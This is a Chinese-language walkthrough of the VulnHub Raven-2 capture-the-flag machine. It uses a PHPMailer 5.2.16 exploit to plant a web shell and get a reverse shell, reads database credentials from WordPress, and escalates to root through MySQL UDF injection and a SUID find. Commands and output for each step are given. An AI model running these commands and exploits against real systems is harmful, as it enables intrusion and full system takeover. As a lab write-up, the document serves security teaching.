【vulnhub】Raven-2

admin 2025年4月24日21:28:50评论0 views字数 3377阅读11分15秒阅读模式

Raven-2

端口扫描

nmap -sS -p- 192.168.56.105 -sV -A --version-all -sC
【vulnhub】Raven-2

访问网站发现没什么可关注的点,点到blog的时候显示不可访问

【vulnhub】Raven-2

这个时候就联想到了

本地/etc/hosts文件解析

就能正常访问了。。

【vulnhub】Raven-2

目录扫描:

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.56.105
【vulnhub】Raven-2

诶嘿,扫出了蛮多个目录的

在/vendor/PATH发现

第一个flag

【vulnhub】Raven-2

在readme发现很多关于PHPMailer的信息

【vulnhub】Raven-2

以及http://192.168.56.105/vendor/VERSION在这里面提示版本为5.2.16

我们随即便去查找一下相关的exp

利用msf下载exp

【vulnhub】Raven-2

修改代码

依次修改可以发送邮件的路径,要定义的后门文件/shell.php,要回连的地址以及端口,还有网站的后门文件保存路径

【vulnhub】Raven-2
python 40974.py

接着访问/contact.php触发后门文件再访问/shell.php就可以进行反弹shell。。。

【vulnhub】Raven-2

建立交互式终端

python -c 'import pty;pty.spawn("/bin/bash")'

查找flag

find / -name flag* 

找到两个有关flags的信息

  •  /var/www/flag2.txt
  •  /var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png

flag2

cat /var/www/flag2.txt
【vulnhub】Raven-2

flag3

【vulnhub】Raven-2

接着在wordpress目录发现数据库密码

【vulnhub】Raven-2

用户名:root,密码:R@v3nSecurity

Mysql登录

mysql -uroot -pR@v3nSecurity
mysql> show databases;

+--------------------+ | Database           | +--------------------+ | information_schema | | mysql              | | performance_schema | | wordpress          | +--------------------+

mysql> use wordpress
mysql> show tables;

+-----------------------+ | Tables_in_wordpress   | +-----------------------+ | wp_commentmeta        | | wp_comments           | | wp_links              | | wp_options            | | wp_postmeta           | | wp_posts              | | wp_term_relationships | | wp_term_taxonomy      | | wp_termmeta           | | wp_terms              | | wp_usermeta           | | wp_users              | +-----------------------+

select * from wp_users;

michael    | BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0

steven     | B6X3H3ykawf2oHuPsbjQiih5iJXqad.

查看mysql的运行权限

是root权限在运行

ps -aux | grep mysql

MySql提权:UDF

查看数据库写入条件

show global variables like 'secure%';

+------------------+-------+ | Variable_name    | Value | +------------------+-------+ | secure_auth      | OFF   | | secure_file_priv |       | +------------------+-------+

  •  1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
  •  2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
  •  3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权! 如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 libplugin 文件夹下文件夹下才能创建自定义函数。

查看插件目录

show variables like '%plugin%';

+---------------+------------------------+ | Variable_name | Value                  | +---------------+------------------------+ | plugin_dir    | /usr/lib/mysql/plugin/ | +---------------+------------------------+

查看是否可以远程登录

use mysql
select user,host from user;

+------------------+-----------+ | user             | host      | +------------------+-----------+ | root             | 127.0.0.1 | | root             | ::1       | | debian-sys-maint | localhost | | root             | localhost | | root             | raven     | +------------------+-----------+

发现root用户不允许远程登录,所以不能使用MSF提权

searchsploit udf
【vulnhub】Raven-2

gcc编译.o文件

gcc -g -c 1518.c

创建so文件

gcc -g -shared -Wl,-soname,exp.so -o exp.so 1518.o -lc
  •  -g 生成调试信息
  •  -c 编译(二进制)
  •  -shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
  • -Wl,-soname,exp.so
    • -Wl 表示将后续参数传递给链接器(ld)。
    • -soname,exp.so 设置动态库的 内部名称SONAME),影响动态链接时的库查找行为。
  •  -o:执行命令后的文件名
  •  -lc:-l 库 c库名

创建临时监听

python -m http.server 8080
wget http://192.168.56.103:8080/1518.so -O test.so

执行sql语句

use mysql;

创建数据表feng

create table feng(line blob);

插入数据文件

insert into feng values(load_file('/tmp/test.so'));

导出数据

  • outfile 多行导出,dumpfile一行导出

    select * from feng into dumpfile '/usr/lib/mysql/plugin/test.so';

创建自定义函数do_system

(或者sys_exec)类型是integer,别名(soname)文件名字

create function do_system returns integer soname 'test.so';

查询一下添加的函数

select * from mysql.func;

利用do_system给find命令赋予suid权限

select do_system('chmod u+s /usr/bin/find');

find命令提权

创建一个文件:touch feng

find / -name feng -exec "/bin/sh" ;

id uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

The end(获取flag)

cd /root

ls

cat flag4.txt  

flag4{df2bc5e951d91581467bb9a2a8ff4425}

原文始发于微信公众号(泷羽Sec-风宵):【vulnhub】Raven-2

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月24日21:28:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【vulnhub】Raven-2http://cn-sec.com/archives/3993014.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息